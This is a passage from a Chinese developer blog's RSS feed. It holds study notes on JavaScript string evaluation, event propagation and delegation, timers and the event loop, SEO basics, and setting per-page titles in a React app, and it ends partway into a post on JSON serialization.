</span></span></span></code></pre></div></li>
</ul>
<ol start="4">
<li><code>setTimeout</code> / <code>setInterval</code></li>
</ol>
<ul>
<li><code>setTimeout</code> 和 <code>setInterval</code> 允许将字符串作为代码来执行</li>
<li>但这种方式与 <code>eval()</code> 类似，同样不推荐用于不受信任的输入</li>
<li>这种方式 JavaScript 中也不提倡，最好传递一个函数。</li>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">setTimeout</span><span class="p">(</span><span class="s2">&#34;console.log(&#39;Executed!&#39;)&#34;</span><span class="p">,</span> <span class="mi">1000</span><span class="p">);</span>
</span></span></code></pre></div></li>
</ul>
<ol start="5">
<li><code>import()</code>（ES2020）
虽然 <code>import()</code> 是用于动态模块加载的，但它可以动态加载 JavaScript 模块文件，将其作为表达式执行。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">import</span><span class="p">(</span><span class="s1">&#39;./module.js&#39;</span><span class="p">).</span><span class="nx">then</span><span class="p">((</span><span class="nx">module</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">module</span><span class="p">.</span><span class="nx">someFunction</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div><p>虽然不是直接执行字符串表达式，但它可以动态引入外部代码模块。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之Event</title>
      <link>https://euds.org/2024/javascript_points_of_event/</link>
      <pubDate>Wed, 25 Sep 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/javascript_points_of_event/</guid>
      <description>自己学习过程中整理的关于JavaScript中Event的知识点</description>
      <content:encoded><![CDATA[<h2 id="事件传播的-3-个阶段">事件传播的 3 个阶段</h2>
<ol>
<li>捕获阶段（Capturing phase）—— 事件（从 Window）向下走近元素。</li>
<li>目标阶段（Target phase）—— 事件到达目标元素。</li>
<li>冒泡阶段（Bubbling phase）—— 事件从元素上开始冒泡。</li>
</ol>
<hr>
<h2 id="冒泡">冒泡</h2>
<ul>
<li>参考<a href="https://zh.javascript.info/bubbling-and-capturing"  target="_blank" rel="noopener" >冒泡和捕获</a></li>
<li>当一个事件发生在一个元素上，它会首先运行在该元素上的处理程序，然后运行其父元素上的处理程序，然后一直向上到其他祖先上的处理程序。</li>
<li>引发事件的那个嵌套层级最深的元素被称为目标元素,可以通过<code>event.target</code>访问</li>
<li>用于停止冒泡的方法
<ol>
<li><code>event.stopPropagation()</code>: 停止向上移动，但是当前元素上的其他处理程序都会继续运行</li>
<li><code>event.stopImmediatePropagation()</code> : 停止冒泡，且其他处理程序不会被执行。</li>
</ol>
</li>
<li><a href="https://zhuanlan.zhihu.com/p/164844013"  target="_blank" rel="noopener" >JavaScript 中那些不会冒泡的事件 - 知乎</a>
<ol>
<li>scroll</li>
<li>blur &amp; focus</li>
<li>media事件</li>
<li>mouseLeave &amp; mouseEnter</li>
<li>注意：mouseout/mouseover <strong>会触发</strong>冒泡</li>
</ol>
</li>
</ul>
<hr>
<h2 id="preventdefault">preventDefault</h2>
<ul>
<li>参考<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Event/preventDefault"  target="_blank" rel="noopener" >Event：preventDefault() 方法 - Web API 接口参考 | MDN</a></li>
<li>如果此事件没有被显式处理，它默认的动作也不应该照常执行</li>
<li>此事件还是继续传播，除非碰到事件监听器调用 stopPropagation() 或 stopImmediatePropagation()，才停止传播</li>
<li>示例:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">&#34;beforeunload&#34;</span><span class="p">,</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// Cancel the event as stated by the standard.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">event</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// Chrome requires returnValue to be set.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">event</span><span class="p">.</span><span class="nx">returnValue</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div><hr>
<h2 id="addeventlistener">addEventListener</h2>
<h3 id="语法">语法</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">addEventListener</span><span class="p">(</span><span class="nx">type</span><span class="p">,</span> <span class="nx">listener</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nx">addEventListener</span><span class="p">(</span><span class="nx">type</span><span class="p">,</span> <span class="nx">listener</span><span class="p">,</span> <span class="nx">options</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nx">addEventListener</span><span class="p">(</span><span class="nx">type</span><span class="p">,</span> <span class="nx">listener</span><span class="p">,</span> <span class="nx">useCapture</span><span class="p">)</span> <span class="c1">//旧版本的 DOM 的规定
</span></span></span></code></pre></div><h3 id="options"><code>options</code></h3>
<ul>
<li>capture:boolean</li>
<li>once:boolean</li>
<li>passive:boolean True -&gt; preventDefault() 不会被调用</li>
<li>signal</li>
</ul>
<h3 id="注意">注意</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/EventTarget/addEventListener#%E5%A4%84%E7%90%86%E8%BF%87%E7%A8%8B%E4%B8%AD_this_%E7%9A%84%E5%80%BC%E7%9A%84%E9%97%AE%E9%A2%98"  target="_blank" rel="noopener" >处理过程中 this 的值的问题 | MDN</a></li>
<li>同一个元素节点注册了多个相同的 EventListener，那么重复的实例会被抛弃。这么做不会让得 EventListener 被重复调用，也不需要用 removeEventListener 手动清除多余的 EventListener，因为重复的都被自动抛弃了。</li>
<li>只是针对于命名函数。对于匿名函数，浏览器会将其看做不同的 EventListener</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener"  target="_blank" rel="noopener" >EventTarget: addEventListener() method - Web APIs | MDN</a></li>
<li><a href="https://www.cnblogs.com/mengfangui/p/11322590.html"  target="_blank" rel="noopener" >滚动事件优化 passive - 孟繁贵 - 博客园</a></li>
<li><a href="https://github.com/pro-collection/interview-question/issues/76"  target="_blank" rel="noopener" >JS 内存泄露问题该如何排查？ · Issue #76 · pro-collection/interview-question</a></li>
</ul>
<hr>
<h2 id="removeeventlistener">removeEventListener</h2>
<ul>
<li>如果同一个事件监听器分别为“事件捕获（capture 为 true）”和“事件冒泡（capture 为 false）”注册了一次，这两个版本的监听器需要分别移除。移除捕获监听器不会影响非捕获版本的相同监听器，反之亦然。</li>
<li><code>options</code>只有 capture 配置影响 removeEventListener()</li>
<li>参考<a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener"  target="_blank" rel="noopener" >EventTarget: removeEventListener() method - Web APIs | MDN</a></li>
</ul>
<hr>
<h2 id="事件委托">事件委托</h2>
<h3 id="概念">概念</h3>
<ul>
<li>事件处理模式之一,也称事件代理</li>
<li>对于许多以类似方式处理的元素，不必为每个元素分配一个处理程序，而是将单个处理程序放在它们的共同祖先上</li>
<li>在处理程序中，我们获取<code>event.target</code>以查看事件实际发生的位置并进行处理。</li>
</ul>
<h3 id="优点">优点:</h3>
<ol>
<li>减少事件注册，提升性能</li>
<li>简化了dom节点更新时，相应事件的更新</li>
</ol>
<h3 id="缺点">缺点:</h3>
<ol>
<li>基于冒泡，对于不冒泡的事件不支持</li>
<li>层级过多，冒泡过程中，可能会被某层阻止掉。</li>
<li>理论上委托会导致浏览器频繁调用处理函数，虽然很可能不需要处理。所以建议就近委托，比如在table上代理td，而不是在document上代理td</li>
</ol>
<h3 id="react中的事件委托">React中的事件委托</h3>
<ul>
<li>React 借鉴事件委托的方式将大部分事件委托给了 Document 对象</li>
<li>事件委托需要区分捕获和冒泡，有些事件由于没有冒泡过程，只能在捕获阶段进行事件委托</li>
<li>没有进行委托的事件是<code>Form</code>事件和<code>Media</code>事件，原因是这些事件针对特性类型元素，委托意义不大，React 将其直接注册到了目标对象</li>
<li>React 中的事件分为 3 类。
<ol>
<li>DiscreteEvent：click，blur,focus,submit,tuchStart 等。优先级最低。</li>
<li>UserBlockingEvent：touchMove,mouseMove,scroll,drag,dragOver 等。这些事件会阻塞用户的交互，优先级次之</li>
<li>ContinuousEvent：load,error,loadStart,abort,animationend 等。优先级最高，不会被打断。</li>
</ol>
</li>
</ul>
<h3 id="示例">示例</h3>
<ul>
<li>html
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">ul</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>Exercise<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>Write code<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>Play music<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>Relax<span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">ul</span><span class="p">&gt;</span>
</span></span></code></pre></div></li>
<li>css
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">list</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="s2">&#34;ul&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">list</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">  <span class="s2">&#34;click&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="p">(</span><span class="nx">ev</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">ev</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">tagName</span> <span class="o">===</span> <span class="s2">&#34;LI&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">ev</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">toggle</span><span class="p">(</span><span class="s2">&#34;done&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">);</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://zh.javascript.info/event-delegation"  target="_blank" rel="noopener" >事件委托</a></li>
<li><a href="https://juejin.cn/post/6844903589052153869"  target="_blank" rel="noopener" >js中的事件委托或事件代理详解 - 掘金</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/165089379"  target="_blank" rel="noopener" >React 中的事件委托 - 知乎</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/165089379"  target="_blank" rel="noopener" >React 中的事件委托 - 知乎</a></li>
</ul>
<hr>
<h2 id="settimeout">setTimeout</h2>
<ul>
<li>参考<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/setTimeout"  target="_blank" rel="noopener" >setTimeout() 全局函数 - Web API 接口参考 | MDN</a></li>
<li>参数:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">timeoutID</span> <span class="o">=</span> <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">func</span><span class="p">,</span> <span class="p">[</span><span class="nx">delay</span><span class="p">,</span> <span class="nx">arg1</span><span class="p">,</span> <span class="nx">arg2</span><span class="p">,</span> <span class="p">...]);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// timeoutID 可用来作为 clearTimeout() 的参数来清除对应的定时器
</span></span></span><span class="line"><span class="cl"><span class="c1">// arg1, ..., argN 可选  当计时结束的时候，将被传递给 func 函数的附加参数。
</span></span></span></code></pre></div></li>
<li>func应是对函数的引用，示例:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">sayHi</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">alert</span><span class="p">(</span><span class="s1">&#39;Hello&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 正确
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">sayHi</span><span class="p">,</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 错的！
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">sayHi</span><span class="p">(),</span> <span class="mi">1000</span><span class="p">);</span> <span class="c1">//这样传入的是sayHi函数的执行结果:undefined
</span></span></span></code></pre></div><ul>
<li><code>delay</code>默认为0，代表了消息被实际加入到队列的<strong>最小延迟时间</strong>。如果队列中没有其他消息并且栈为空，在这段延迟时间过去之后，消息会被马上处理。</li>
<li>在默认情况下，在 <code>setTimeout()</code> 内部，this 关键字将被设置为 globalThis，在浏览器中它是 window 对象</li>
<li>setTimeout为啥不准（线程间通信怎么都会有延迟的）</li>
<li>定时器原理setTimeout/setInterval（以前翻过v8的源码，本质上都是二叉堆，与react里的scheduler的实现有异曲同工之处）</li>
</ul>
<hr>
<h2 id="setinterval">setInterval</h2>
<ul>
<li>
<p>参数：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">intervalID</span> <span class="o">=</span> <span class="nx">setInterval</span><span class="p">(</span><span class="nx">func</span><span class="p">,</span> <span class="p">[</span><span class="nx">delay</span><span class="p">,</span> <span class="nx">arg1</span><span class="p">,</span> <span class="nx">arg2</span><span class="p">,</span> <span class="p">...]);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// intervalID 可用来作为 clearInterval() 的参数来清除对应的定时器
</span></span></span><span class="line"><span class="cl"><span class="c1">// arg1, ..., argN 可选  当计时结束的时候，将被传递给 func 函数的附加参数。
</span></span></span></code></pre></div></li>
<li>
<p>每间隔给定的时间周期性执行,时间开始计算的位置是调用内部方法的那一刻，因此第一次方法结束到第二次开始之间的时间间隔其实是小于delay的</p>
</li>
<li>
<p>如果setInterval的内部函数执行耗时大于设定的时间间隔,会发生什么？</p>
<ul>
<li>a: JavaScript 引擎会等待 func 执行完成，然后检查调度程序，如果时间到了，则 立即 再次执行它。极端情况下，如果函数每次执行时间都超过 delay 设置的时间，那么每次调用之间将完全没有停顿。</li>
<li>解决办法: 嵌套的 setTimeout
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// setInterval
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">setInterval</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">  <span class="nx">func</span><span class="p">(</span><span class="nx">i</span><span class="o">++</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span><span class="mi">100</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 嵌套的setTimeout
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span> <span class="nx">run</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">  <span class="nx">func</span><span class="p">(</span><span class="nx">i</span><span class="o">++</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">run</span><span class="p">,</span><span class="mi">100</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span><span class="mi">100</span><span class="p">)</span>
</span></span></code></pre></div></li>
</ul>
</li>
<li>
<p>参考:</p>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/setInterval"  target="_blank" rel="noopener" >setInterval() - Web API 接口 | MDN</a></li>
<li><a href="https://zh.javascript.info/settimeout-setinterval"  target="_blank" rel="noopener" >调度：setTimeout 和 setInterval</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="事件循环">事件循环</h2>
<h3 id="三种数据结构">三种数据结构：</h3>
<ol>
<li>stack: 函数调用形成了一个由若干帧组成的栈</li>
<li>heap: 对象被分配在堆中</li>
<li>queue: 一个待处理消息的消息队列。每一个消息都关联着一个用以处理这个消息的回调函数</li>
</ol>
<h3 id="两种任务">两种任务</h3>
<ul>
<li>
<p>JavaScript 的异步任务根据事件分类分为两种：宏任务（MacroTask）和微任务（MicroTask）</p>
</li>
<li>
<p>宏任务</p>
<ul>
<li>I/O（Mouse Events、Keyboard Events、Network Events）</li>
<li>setTimeout、setInterval、setImmediate</li>
<li>UI Rendering（HTML Parsing）</li>
<li>MessageChannel</li>
<li>JavaScript Run</li>
</ul>
</li>
<li>
<p>微任务</p>
<ul>
<li>DOM mutations</li>
<li>Promises</li>
</ul>
</li>
<li>
<p>优先级</p>
<ul>
<li>宏任务的优先级高于微任务</li>
<li>每个宏任务执行完毕后都必须将当前的微任务队列清空</li>
</ul>
</li>
<li>
<p>如何安排（schedule）一个新的宏任务：</p>
<ul>
<li>可使用零延迟的 setTimeout(f)</li>
<li>好处
<ol>
<li>将繁重的计算任务拆分成多个部分，以使浏览器能够对用户事件作出反应，并在任务的各部分之间显示任务进度。</li>
<li>也被用于在事件处理程序中，将一个行为（action）安排（schedule）在事件被完全处理（冒泡完成）后。</li>
</ol>
</li>
</ul>
</li>
<li>
<p>如何安排一个新的 微任务：</p>
<ul>
<li>可以使用 queueMicrotask 来在保持环境状态一致的情况下，异步地执行一个函数。</li>
<li>如果我们想要异步执行（在当前代码之后）一个函数，但是要在更改被渲染或新事件被处理之前执行，那么我们可以使用 queueMicrotask 来对其进行安排（schedule）。</li>
</ul>
</li>
</ul>
<h3 id="浏览器中的事件循环和nodejs中事件循环的区别">浏览器中的事件循环和Node.js中事件循环的区别</h3>
<ul>
<li>浏览器是一个宏任务+一个微任务队列</li>
<li>node是一个宏任务队列+一个微任务队列</li>
</ul>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://tsejx.github.io/javascript-guidebook/core-modules/executable-code-and-execution-contexts/concurrency-model/event-loop/"  target="_blank" rel="noopener" >事件循环 - JavaScript Guidebook</a></li>
<li><a href="https://juejin.cn/post/6844903655473152008"  target="_blank" rel="noopener" >浅析setTimeout与Promise - 掘金</a></li>
<li><a href="https://www.jsv9000.app/"  target="_blank" rel="noopener" >JS Visualizer 9000</a></li>
<li><a href="https://developer.aliyun.com/article/1312240"  target="_blank" rel="noopener" >浏览器中的事件循环和Node.js中事件循环的区别(经典面试题)-阿里云开发者社区</a></li>
</ul>
<hr>
<h2 id="面试问题">面试问题</h2>
<ol>
<li>实现一个事件处理对象，包括绑定，取消，执行功能
思路:构造函数里面初始化一个空对象，存储事件名。绑定，取消(对应置空)就在这个数组里面操作。执行先判断是否存在，然后调用apply函数执行回调。</li>
</ol>
]]></content:encoded>
    </item>
    
    <item>
      <title>初识seo</title>
      <link>https://euds.org/2024/the_first_take_of_seo/</link>
      <pubDate>Thu, 12 Sep 2024 23:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/the_first_take_of_seo/</guid>
      <description>永远在路上</description>
      <content:encoded><![CDATA[<h2 id="seo的分类">seo的分类</h2>
<ul>
<li>On-Page: 网站的内容
<ol>
<li>Title Tags</li>
<li>Headings (H1)</li>
<li>Fast-loading pages, or page load speed</li>
<li>Page content</li>
<li>URL structure</li>
</ol>
</li>
<li>Off-page: 网站的权威性和流行性外部因素</li>
</ul>
<hr>
<h2 id="有什么改善读者体验和-seo-的写作技巧">有什么改善读者体验和 SEO 的写作技巧?</h2>
<blockquote>
<ul>
<li>扩展主题</li>
<li>在文章头部包含关键词</li>
<li>围绕主题和关键词展开内容</li>
<li>语义化元素: HTML5 的语义化，意思是用正确的元素做正确的事</li>
<li>改善链接的形式: 尽量为链接提供完整的标题、或者可被识别的提示</li>
</ul>
</blockquote>
<hr>
<h2 id="keywords有必要吗">keywords有必要吗?</h2>
<p>Google 在<a href="https://developers.google.com/search/blog/2009/09/google-does-not-use-keywords-meta-tag?hl=zh-cn"  target="_blank" rel="noopener" >Google 不会将关键字元标记用于网页排名  |  Google 搜索中心博客  |  Google for Developers</a>一文中已经明确表示<code>meta[name=keywords]</code>不再影响排名和权重,但是这并不是说关键词不重要，恰恰相反，搜索引擎是在鼓励你将你的关键词融入你的文章中，因为它们已经会用语义分析寻找关键词了。</p>
<hr>
<h2 id="怎么添加可分享的卡片">怎么添加可分享的卡片?</h2>
<ul>
<li><a href="https://github.com/frostming/fxzhihu"  target="_blank" rel="noopener" >frostming/fxzhihu: 为知乎生成可分享的卡片及 Instant View</a></li>
<li><a href="https://www.npmjs.com/package/react-helmet-async"  target="_blank" rel="noopener" >react-helmet-async - npm</a></li>
</ul>
<hr>
<h2 id="spa能做seo优化吗">spa能做seo优化吗?</h2>
<ul>
<li>能，可将爬虫引入到事先用puppeteer为SPA Prerender的内容服务中</li>
<li>流程
<ol>
<li>识别请求是用户还是搜索引擎爬虫</li>
<li>如果是用户，那就正常处理</li>
<li>如果是爬虫，那就基于puppeteer渲染SPA内容</li>
</ol>
</li>
<li>需要考虑的问题
<ol>
<li>缓存
<ul>
<li>缓存多少</li>
<li>缓存多久更新</li>
</ul>
</li>
<li>冷启动（指的是在生成有效网页之后，请求页面）可以提前在B端产生有效的网址的时候，让Prerender服务提前缓存内容</li>
</ol>
</li>
<li>较成熟的方案
<ul>
<li><a href="https://prerender.io/"  target="_blank" rel="noopener" >Prerender Seamlessly Renders JavaScript for Faster Indexing</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://mazzzystar.github.io/2023/07/23/Get-users-for-your-AI-tool-from-Google-search-zh/"  target="_blank" rel="noopener" >让你的AI工具从Google搜索中获得用户 | TL;DR</a></li>
<li><a href="https://blog.skk.moe/post/how-to-write-for-seo/"  target="_blank" rel="noopener" >如何写一篇同时面向人和搜索引擎的文章 | Sukka&rsquo;s Blog</a></li>
<li><a href="https://medium.com/@keshidong.dev/%E5%85%B3%E4%BA%8Espa%E7%9A%84seo%E4%BC%98%E5%8C%96%E6%96%B9%E6%A1%88-2639a63361ad"  target="_blank" rel="noopener" >关于SPA的SEO解决方案. 为什么SPA需要SEO优化 | by shidong ke | Medium</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>React网页定制title</title>
      <link>https://euds.org/2024/add-specific-title-to-react-web-app/</link>
      <pubDate>Mon, 02 Sep 2024 00:20:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/add-specific-title-to-react-web-app/</guid>
      <description>变变变</description>
      <content:encoded><![CDATA[<h2 id="需求">需求</h2>
<p>一个使用react+react-router-dom的网页，希望不同的页面能有不同的title</p>
<h2 id="方法一--useeffect--documenttitle">方法一 : useEffect + document.title</h2>
<ul>
<li>主要思路: 监听url的变化，然后设置document.title,不同的写法差异主要在如何监听</li>
</ul>
<h3 id="写法一uselocation">写法一：useLocation()</h3>
<ul>
<li>简易的写法可以看<a href="https://stackoverflow.com/a/65709116"  target="_blank" rel="noopener" >Stack Overflow的这个回答</a></li>
<li>更进一步的写法可以看<a href="https://juejin.cn/post/7267409589079867450"  target="_blank" rel="noopener" >react-router-dom v6 路由实现动态修改document.title项目中需要在对应的路由界面 设置不同 - 掘金</a></li>
</ul>
<h3 id="写法二usematches">写法二：useMatches()</h3>
<ul>
<li>参考<a href="https://stackoverflow.com/a/78184012"  target="_blank" rel="noopener" >steinybot在Stack Overflow的这个回答</a></li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">matches</span> <span class="o">=</span> <span class="nx">useMatches</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">{</span> <span class="nx">handle</span><span class="p">,</span> <span class="nx">data</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">matches</span><span class="p">[</span><span class="nx">matches</span><span class="p">.</span><span class="nx">length</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">title</span> <span class="o">=</span> <span class="nx">handle</span> <span class="o">&amp;&amp;</span> <span class="nx">handle</span><span class="p">.</span><span class="nx">title</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">title</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nb">document</span><span class="p">.</span><span class="nx">title</span> <span class="o">=</span> <span class="nx">title</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span> <span class="p">[</span><span class="nx">title</span><span class="p">])</span>
</span></span></code></pre></div><ul>
<li><a href="https://reactrouter.com/en/main/hooks/use-matches"  target="_blank" rel="noopener" >useMatches v6.26.1 | React Router</a></li>
</ul>
<h2 id="方法二">方法二</h2>
<ul>
<li>使用<a href="https://www.npmjs.com/package/react-helmet-async"  target="_blank" rel="noopener" >react-helmet-async - npm</a></li>
<li>好处
<ol>
<li>代码修改小，只要在需要的地方加上就行</li>
<li>顺便能把seo也做了</li>
<li>还能支持Open Graph protocol等协议</li>
</ol>
</li>
<li>报错：<code>TypeError: Cannot read properties of undefined (reading 'add')</code>
<ul>
<li>问题其实出在我没加<code>&lt;HelmetProvider&gt;</code>,但这个报错太不友好了,有个建议优化报错信息的issue，<a href="https://github.com/staylor/react-helmet-async/issues/228"  target="_blank" rel="noopener" ><code>TypeError: Cannot read properties of undefined (reading 'add')</code> thrown when provider is missing · Issue #228 · staylor/react-helmet-async</a>，不过没被处理。</li>
</ul>
</li>
<li>参考
<ul>
<li><a href="https://www.freecodecamp.org/news/react-helmet-examples/"  target="_blank" rel="noopener" >How to Use React Helmet – With Example Use Case</a></li>
</ul>
</li>
</ul>
<h2 id="补充">补充</h2>
<h3 id="open-graph-protocol">Open Graph protocol</h3>
<p><a href="https://ogp.me/"  target="_blank" rel="noopener" >The Open Graph protocol</a></p>
<h3 id="twitter-cards">Twitter Cards</h3>
<p><a href="https://developer.x.com/en/docs/x-for-websites/cards/guides/getting-started"  target="_blank" rel="noopener" >Getting started with Cards | Docs | Twitter Developer Platform</a></p>
<h3 id="生成">生成</h3>
<p><a href="https://github.com/frostming/fxzhihu/tree/main"  target="_blank" rel="noopener" >frostming/fxzhihu: 为知乎生成可分享的卡片及 Instant View</a></p>
]]></content:encoded>
    </item>
    
    <item>
      <title>json的序列化与反序列化</title>
      <link>https://euds.org/2024/serialization_and_deserialization/</link>
      <pubDate>Fri, 23 Aug 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/serialization_and_deserialization/</guid>
      <description>整理JavaScript知识点时发现内容还挺多，于是干脆独立出来</description>
      <content:encoded><![CDATA[<h2 id="基本概念">基本概念</h2>
<ul>
<li>
<p>序列化</p>
<ul>
<li>将json对象转换为字符串“序列”</li>
<li><code>JSON.stringify(value, replacer, space)</code></li>
<li>可通过修改对象的toJSON属性，来进一步控制</li>
</ul>
</li>
<li>
<p>反序列化</p>
<ul>
<li>将字符串“序列”转换为json对象</li>
<li><code>JSON.parse(text, reviver)</code></li>
</ul>
</li>
</ul>
<h2 id="jsonstringify的特殊情况">JSON.stringify()的特殊情况</h2>
<ol>
<li>undefined、任意的函数以及 symbol 值在序列化过程中有两种情况
<ul>
<li>被忽略（出现在非数组对象的属性值中时）</li>
<li>被转换成 null（出现在数组中时）。</li>
</ul>
